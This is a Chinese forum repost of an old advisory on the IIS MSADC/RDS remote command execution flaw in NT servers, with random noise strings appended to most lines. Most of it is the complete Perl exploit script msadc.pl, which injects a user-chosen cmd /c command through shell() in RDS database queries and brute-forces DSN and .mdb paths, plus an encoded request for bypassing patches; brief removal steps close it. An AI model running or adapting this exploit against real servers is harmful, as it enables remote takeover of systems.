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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ]-}a{z  
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涉及程序: zu^ AkMc  
Microsoft NT server $< aBawLZO  
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描述: /C(L(X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YLCwo]\+>  
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详细: NNfCJ|  
如果你没有时间读详细内容的话,就删除: nuCK7X  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \O0fo^+U,,  
有关的安全问题就没有了。 ~'U;).C  
uZYeru"w  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `773& \PK  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Kz<xuulr  
关于利用ODBC远程漏洞的描述,请参看: 0)/214^&  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c8'8DM  
.Gv~e!a8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ym6ec|9;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (8*lLZ  
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这里不再论述。 ?k3b\E3  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: wH`@r?&  
n;=A'g|Q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ?UxY4m%R;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! cpy"1=K~M  
/Mk)H d  
YL. z|{\e  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y H'\<bT  
~"wD4Ue  
#!perl n (|>7  
# q-RGplx  
# MSADC/RDS 'usage' (aka exploit) script x'KsQlI/  
# OP&[5X+Y  
# by rain.forest.puppy kzmt'/L8  
# [yyV`&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me U=t'>;(g  
# beta test and find errors! VsmL#@E  
+sI.GWQ_:  
use Socket; use Getopt::Std; 3K{8sFDO  
getopts("e:vd:h:XR", \%args); P$QjDu-  
K@i*Nl  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0l##M06>  
7^iAc6QSy3  
if (!defined $args{h} && !defined $args{R}) { *Q>:|F[vM  
print qq~ q)~qd$yMS  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 6+FON$8  
-h <host> = host you want to scan (ip or domain)  #.><A8J  
-d <seconds> = delay between calls, default 1 second 9?:S:Sq  
-X = dump Index Server path table, if available J#kdyBmuO  
-v = verbose \fhT#/0N  
-e = external dictionary file for step 5 toWmm(7v  
ep?0@5D}]  
Or a -R will resume a command session xHG oCFB  
n~ql]Ln  
~; exit;} [v`4OQF/  
\1!k)PZdTW  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;1dz?'%V  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} \PFx# :-c  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |W <:rT  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); /Ow?nWSt  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KRtu@;?  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 93J)9T  
ypd?mw&1}  
if (!defined $args{R}){ $ret = &has_msadc; 4yA`);r62  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g@2.A;N0  
Z]Y4NO;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `#f=&S?k  
. "cmd /c "; caP  
$in=<STDIN>; chomp $in; |z'?3?,~  
$command="cmd /c " . $in ; .#@Dn(  
m\f_u*  
if (defined $args{R}) {&load; exit;}  (2li:1j  
nADd,|xD3  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; !7oy%{L  
&try_btcustmr; Wa(S20y F  
]'Yw#YB  
print "\nStep 2: Trying to make our own DSN..."; 2X*<Fma3C  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; V.#8-?z  
FT;JYkO  
print "\nStep 3: Trying known DSNs..."; kut|A  
&known_dsn; G|lI=Q3f  
?a%i|Z7!  
print "\nStep 4: Trying known .mdbs..."; 4I*Mc%dD  
&known_mdb; (Pd>*G\  
zl\#n:|  
if (defined $args{e}){ P1wRt5  
print "\nStep 5: Trying dictionary of DSN names..."; }#8uXA  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ak>NKK8P  
b..$5  
print "Sorry Charley...maybe next time?\n"; Z-|C{1}A  
exit; pG @iR*?  
qfu2}qUX~%  
############################################################################## 6W=:`14  
"^z=r]<5  
sub sendraw { # ripped and modded from whisker 2[po~}2-0  
sleep($delay); # it's a DoS on the server! At least on mine... E5 oD|'=WA  
my ($pstr)=@_; jyhzLu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >n~p1:$  
die("Socket problems\n"); HIm, "iYk  
if(connect(S,pack "SnA4x8",2,80,$target)){ S=p u  
select(S); $|=1; 7Ca\ (82  
print $pstr; my @in=<S>; MuGg z>CV[  
select(STDOUT); close(S); 3.X0!M;x  
return @in; 5$U>M  
} else { die("Can't connect...\n"); }} kW&Z%k  
*]WXM.R8  
############################################################################## LFyceFbm  
od1omYsR  
sub make_header { # make the HTTP request 1`lFF_stkP  
my $msadc=<<EOT ~,2hP ~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ^4pKsO3ul  
User-Agent: ACTIVEDATA o2d~  
Host: $ip L_"(A #H:  
Content-Length: $clen T''+zk  
Connection: Keep-Alive q-%KfZ@(|  
lzG;F]  
ADCClientVersion:01.06 `HG19_Z  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 hxVM]e[  
WN +Jf  
--!ADM!ROX!YOUR!WORLD! ==1/N{{R  
Content-Type: application/x-varg K9Xd? ]a  
Content-Length: $reqlen U!:!]DX(  
oxQID  
EOT _M[[vXH  
; $msadc=~s/\n/\r\n/g; WgJAr73 l  
return $msadc;} %D(prA_w  
;&6PL]/d  
############################################################################## ;-pvc<_c<  
7/_ VE  
sub make_req { # make the RDS request qYZ7Zt;  
my ($switch, $p1, $p2)=@_; Q5nyD/k4c  
my $req=""; my $t1, $t2, $query, $dsn; F9P0cGDs  
4>VZk^%b#  
if ($switch==1){ # this is the btcustmr.mdb query 9jGuelwN  
$query="Select * from Customers where City=" . make_shell(); n/oipiYx  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . J xm9@,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 07Q[L'}y@  
NcBe|qxQ  
elsif ($switch==2){ # this is general make table query ^FM9} t/U,  
$query="create table AZZ (B int, C varchar(10))"; yI.H4Dl<  
$dsn="$p1";} A;-z#R#V5  
' P`p.5nH  
elsif ($switch==3){ # this is general exploit table query KV}U{s+U8  
$query="select * from AZZ where C=" . make_shell(); WG/J4H`Od  
$dsn="$p1";} 5A$az03y$\  
c4>sE[]  
elsif ($switch==4){ # attempt to hork file info from index server .xkV#ol  
$query="select path from scope()"; #r.` V!=  
$dsn="Provider=MSIDXS;";} #oJbrh9J6  
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elsif ($switch==5){ # bad query xPMyG);  
$query="select"; BX(d"z b<  
$dsn="$p1";} ? ZHE8  
?h)3S7  
$t1= make_unicode($query); I49l2>  
$t2= make_unicode($dsn); {L4>2rF  
$req = "\x02\x00\x03\x00"; ix7 e] )m(  
$req.= "\x08\x00" . pack ("S1", length($t1)); ]9&q'7*L  
$req.= "\x00\x00" . $t1 ; YD46Z~$  
$req.= "\x08\x00" . pack ("S1", length($t2)); _8b]o~[Z+  
$req.= "\x00\x00" . $t2 ; ?ey&Un"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; MAe<.DHY  
return $req;} b^,Mw8KsO  
x)VIA]  
############################################################################## +GYMJK`S+  
G:c8`*5Q  
sub make_shell { # this makes the shell() statement 2r}uE\GN  
return "'|shell(\"$command\")|'";} i\Pr3 7 "  
J'ZFIT_>  
############################################################################## SXBQ  
I0w@S7  
sub make_unicode { # quick little function to convert to unicode ?[ S >&Vq  
my ($in)=@_; my $out; N _~KZQ11^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } sb|3|J6=  
return $out;} q"+ q  
`+hy#1]  
############################################################################## Md>f  
ok3  
sub rdo_success { # checks for RDO return success (this is kludge) YKe0:cWc  
my (@in) = @_; my $base=content_start(@in); ?$J7%I@  
if($in[$base]=~/multipart\/mixed/){ MeI2i  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &@W4^- 9  
return 0;} 2&gVZz  
Xh0wWU*  
############################################################################## c[h'`KXJf-  
g/ l0}%  
sub make_dsn { # this makes a DSN for us NT;x1  
my @drives=("c","d","e","f"); O~#uQm  
print "\nMaking DSN: "; ? gA=39[j  
foreach $drive (@drives) { *]m kyAhi  
print "$drive: "; ci ,o8 [Y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (Gi+7GMV'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ^\ vfos  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); zY+t,2z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )_9e@ ~,  
return 0 if $2 eq "404"; # not found/doesn't exist v$)@AE  
if($2 eq "200") { 9*=@/1  
foreach $line (@results) { HTDyuqs  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1akD]Z  
} return 0;} YMj7  
Q"OV>klk  
############################################################################## kj{rk^x  
g]Xzio&w  
sub verify_exists { 68p\WheCal  
my ($page)=@_; ^A 11h6I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); u+z .J4w  
return $results[0];} K=m9H=IX~T  
q!hy;K`Jd  
############################################################################## ''(fH$pY  
84p[N8  
sub try_btcustmr { $kkp*3{ot  
my @drives=("c","d","e","f"); piYws<Q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); vLnq%@x  
O^X[9vrW  
foreach $dir (@dirs) { m~Y'$3w  
print "$dir -> "; # fun status so you can see progress vZ[ $H  
foreach $drive (@drives) { ZVdsxo<  
print "$drive: "; # ditto QN5yBa!Wz  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Q{qj  
$reqlenlen=length( "$reqlen" ); iHE0N6%q  
$clen= 206 + $reqlenlen + $reqlen; P~Te+ -jX}  
*xX( !t'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Jt-X mGULB  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} [GR]!\!%~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} nr<WO~Xw~  
hl6,#2$  
############################################################################## Y7*(_P3/  
y:g7'+c  
sub odbc_error { x{NNx:T1  
my (@in)=@_; my $base; +  ZR(  
my $base = content_start(@in); ^MW\t4pZ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,bZ"8Z"lss  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qJ{r!NJJ 8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _HWHQF7  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 943I:, B  
return $in[$base+4].$in[$base+5].$in[$base+6];} L4YVH2`0)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; JCw{ ?^F"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #<a_: m)@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} )(h&Q? Ar  
{yvb$ND|j{  
############################################################################## Y!++C MzU  
QL)>/%yU  
sub verbose { 0|+>A?E}E  
my ($in)=@_; u<l# xud  
return if !$verbose; v87$NQvwQ  
print STDOUT "\n$in\n";} Qq'i*Mh  
\LIy:$`8  
############################################################################## ~In{lQ[QX  
.9T.3yQ  
sub save { Z:# .;wA  
my ($p1, $p2, $p3, $p4)=@_; 6 QN1+MwB  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8- dRdQu]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; YPF&U4CN  
close OUT;} l `fW{lh  
8A2if 9E3  
############################################################################## 5TXg;v#Z  
KY4d+~2  
sub load { -W|*fKN`3  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; u^`eKak"l  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Z |2E b*  
@p=<IN>; close(IN); &mh Ln4^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 'R^iKNPs  
$target= inet_aton($ip) || die("inet_aton problems"); ]s*5[ =uc2  
print "Resuming to $ip ..."; 3C277nx  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; YHs?QsP  
if($p[1]==1) { 5a=nF9/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; t{_!Z(Rt5)  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "DVt3E  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); g~~m' ^  
if (rdo_success(@results)){print "Success!\n";} N=>- Q)  
else { print "failed\n"; verbose(odbc_error(@results));}} q<-%L1kc 1  
elsif ($p[1]==3){ wENzlXeOP  
if(run_query("$p[3]")){ \Os:6U=X-  
print "Success!\n";} else { print "failed\n"; }} :&Qb>PH[  
elsif ($p[1]==4){ ^Vag1 (hdq  
if(run_query($drvst . "$p[3]")){ f"Ost;7zg  
print "Success!\n"; } else { print "failed\n"; }} %lXbCE:[  
exit;} 7< ^'DO s  
n`P`yb\f$  
############################################################################## Y{,2X~ 7  
?V#Gx>\  
sub create_table { &(g m4bTg  
my ($in)=@_; @q,)fBZq  
$reqlen=length( make_req(2,$in,"") ) - 28; @Ppo &>  
$reqlenlen=length( "$reqlen" ); N1PECLS?  
$clen= 206 + $reqlenlen + $reqlen; O x{Q.l  
my @results=sendraw(make_header() . make_req(2,$in,"")); {J{1`@  
return 1 if rdo_success(@results); ;!'qtw"CB  
my $temp= odbc_error(@results); verbose($temp); Oz :D.V 3~  
return 1 if $temp=~/Table 'AZZ' already exists/; <\h*Zy  
return 0;} 1+R:3(AC  
Gu2_dT  
############################################################################## Y;8 >=0ye  
a]`itjL^  
sub known_dsn { /Z:N8e  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go mRCHrw?WG  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", llNXQlP\B  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1XG$ z@NN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); >W'j9+Va  
GOGt?iw*<  
foreach $dSn (@dsns) { *yrnK3  
print "."; y $:yz;  
next if (!is_access("DSN=$dSn")); zEy&4Kl{+  
if(create_table("DSN=$dSn")){ pP3U,n   
print "$dSn successful\n"; iu +3,]7Fm  
if(run_query("DSN=$dSn")){ 3a'q`.L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { QO@6VY@  
print "Something's borked. Use verbose next time\n";}}} print "\n";}  for {  
u2 7S %2P  
############################################################################## 5Yl6?  
jM*AL X  
sub is_access { |Td_S|:d  
my ($in)=@_; n<E.Em1  
$reqlen=length( make_req(5,$in,"") ) - 28; q&Q/?g>f  
$reqlenlen=length( "$reqlen" ); ^b=XV&{q  
$clen= 206 + $reqlenlen + $reqlen; ?gLAWz  
my @results=sendraw(make_header() . make_req(5,$in,"")); =qw &dwIQ  
my $temp= odbc_error(@results); V7P6zAJy  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); oB4#J*   
return 0;} .vK.XFZ8R  
;J'OakeVO  
############################################################################## c )03Ms4 D  
z4g+2f7h-X  
sub run_query { eO'xkm  
my ($in)=@_; Ee8--  
$reqlen=length( make_req(3,$in,"") ) - 28; }S,-uggz  
$reqlenlen=length( "$reqlen" ); 7ZQ'h3K  
$clen= 206 + $reqlenlen + $reqlen; c -w0  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2\5cjdy  
return 1 if rdo_success(@results); 9<v}LeX  
my $temp= odbc_error(@results); verbose($temp); sW?B7o?  
return 0;} 3EmcYC  
or7pJy%4"  
############################################################################## va^0JfQ  
z`OkHX*+2|  
sub known_mdb { ZY)%U*jWU  
my @drives=("c","d","e","f","g"); mY`@'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3q"7K  
my $dir, $drive, $mdb; b{BaQ>.(`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yc d3QRB  
rhIGOk1k  
# this is sparse, because I don't know of many ;,dkJ7M  
my @sysmdbs=( "\\catroot\\icatalog.mdb", iOll WkF  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [%jxf\9jJ_  
"\\system32\\certmdb.mdb", %]#VdS|N  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% AeaPK  
Evkt_vvf  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rCE;'? Y  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *qG$19b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8[M* x3  
"\\cfusion\\cfapps\\security\\realm_.mdb", `dO}L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }'TTtV:Q  
"\\cfusion\\database\\cfexamples.mdb", Jh?z=JY  
"\\cfusion\\database\\cfsnippets.mdb", n26>>N  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 2A>C+Y[7\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", y^G>{?Tha  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3%2jwR  
"\\cfusion\\database\\smpolicy.mdb", PPj[;(A  
"\\cfusion\\database\cypress.mdb", xZyeX34{M;  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /$Z m~Mp  
"\\website\\cgi-win\\dbsample.mdb", \6:>{0\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6b<+8w  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" y@`~9$  
); #these are just LE K/mCL  
foreach $drive (@drives) { \yG`Sfu2  
foreach $dir (@dirs){ <m0{'xw  
foreach $mdb (@sysmdbs) { Oqmg;\pm  
print "."; 61Bhm:O5W  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ sMm/4AY]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 7@IFp~6<qK  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ EE]=f=3  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .'/l'>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} b_=8!Q.:  
2e.N"eLNt  
foreach $drive (@drives) { 6-]h5L]  
foreach $mdb (@mdbs) { Gqt-_gga  
print "."; O3Uh+gKQ  
if(create_table($drv . $drive . $dir . $mdb)){ 1ef'7a7e8  
print "\n" . $drive . $dir . $mdb . " successful\n";  w;+ br  
if(run_query($drv . $drive . $dir . $mdb)){ _f3 WRyN0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (Y2m md  
} else { print "Something's borked. Use verbose next time\n"; }}}} .T$D^?G!D  
} 13a(FG  
(a }J$:  
############################################################################## vbp-`M(  
;v_V+t <$  
sub hork_idx { O:^'x*}  
print "\nAttempting to dump Index Server tables...\n"; l E^*t`+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; c#QFG1  
$reqlen=length( make_req(4,"","") ) - 28; qo_]ZKL44  
$reqlenlen=length( "$reqlen" ); e\9g->DUs  
$clen= 206 + $reqlenlen + $reqlen; _!!}'fMC  
my @results=sendraw2(make_header() . make_req(4,"",""));  M6Pw /S!  
if (rdo_success(@results)){ ] H&c'  
my $max=@results; my $c; my %d; ?'sXgo.}  
for($c=19; $c<$max; $c++){ ru{f]|  
$results[$c]=~s/\x00//g; mM5|K@0|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; -CD\+d  "  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^i'y6J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; K%gP5>y*9>  
$d{"$1$2"}="";} d0 -~| `5  
foreach $c (keys %d){ print "$c\n"; } HH8;J66I&  
} else {print "Index server doesn't seem to be installed.\n"; }} etyCrQ ?U  
c@(1:,R  
############################################################################## :}9j^}"c3  
/K|:9Q$K6  
sub dsn_dict { FZXyfZw!|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); OJ/SYZ.r  
while(<IN>){ {155b0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; TJOvyz`t  
next if (!is_access("DSN=$dSn")); O@jqdJu  
if(create_table("DSN=$dSn")){ S;=_;&68?  
print "$dSn successful\n"; 1,`H:%z%  
if(run_query("DSN=$dSn")){ \A<v=VM|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { k)":v3 ^  
print "Something's borked. Use verbose next time\n";}}} }1U*A#aN7K  
print "\n"; close(IN);} `f)(Y1%.  
,w2WS\`%  
############################################################################## 6peyh_  
2\0Oji\6  
sub sendraw2 { # ripped and modded from whisker (A{NF(   
sleep($delay); # it's a DoS on the server! At least on mine... r5 yO5W  
my ($pstr)=@_; =& -[TPW  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || OOB^gf}$'  
die("Socket problems\n"); zZ=$O-&%  
if(connect(S,pack "SnA4x8",2,80,$target)){ T'1gy}  
print "Connected. Getting data"; `FJ|W6%  
open(OUT,">raw.out"); my @in; {Q~7M$  
select(S); $|=1; print $pstr; Hm9<fQuM  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} A-wRah.M  
close(OUT); select(STDOUT); close(S); return @in; tZA:  
} else { die("Can't connect...\n"); }} -(IC~   
y ~AmG~  
############################################################################## S&?7K-F>_o  
i:Y\`J  
sub content_start { # this will take in the server headers /\E [  
my (@in)=@_; my $c; `4 UlJ4<`  
for ($c=1;$c<500;$c++) { !M;A*:-  
if($in[$c] =~/^\x0d\x0a/){ jG D%r~lN  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } (}gcY  
else { return $c+1; }}} _%ZP{5D>  
return -1;} # it should never get here actually <I2z&  
<>=mCZ2  
############################################################################## ]V<-J   
{/}^D-  
sub funky { B~TN/sd  
my (@in)=@_; my $error=odbc_error(@in); @6&JR<g*t  
if($error=~/ADO could not find the specified provider/){ {TAw)!R~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \%5MAQS  
exit;} r]LCvsVa  
if($error=~/A Handler is required/){ %8FN0  
print "\nServer has custom handler filters (they most likely are patched)\n"; ut &/\k=N  
exit;} c Zvf"cIs  
if($error=~/specified Handler has denied Access/){ u7=T(4a  
print "\nServer has custom handler filters (they most likely are patched)\n"; [B9;?G  
exit;}} <1@ (ioPH  
it1/3y =]  
############################################################################## {1~T]5  
Do*n#=  
sub has_msadc { \##5O7/1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &[j]Bp?  
my $base=content_start(@results); };S0 G!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  ( Uk ,  
return 0;} n%$ &=-Fk  
[e e30ELn  
######################## mX\ ;oV!  
js <Ww$zFW  
z~Na-N  
解决方案: N:W9},  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll p2d\ZgWD=)  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 A';QuWdT  
~<r i97)  
拿出来充数 哈哈
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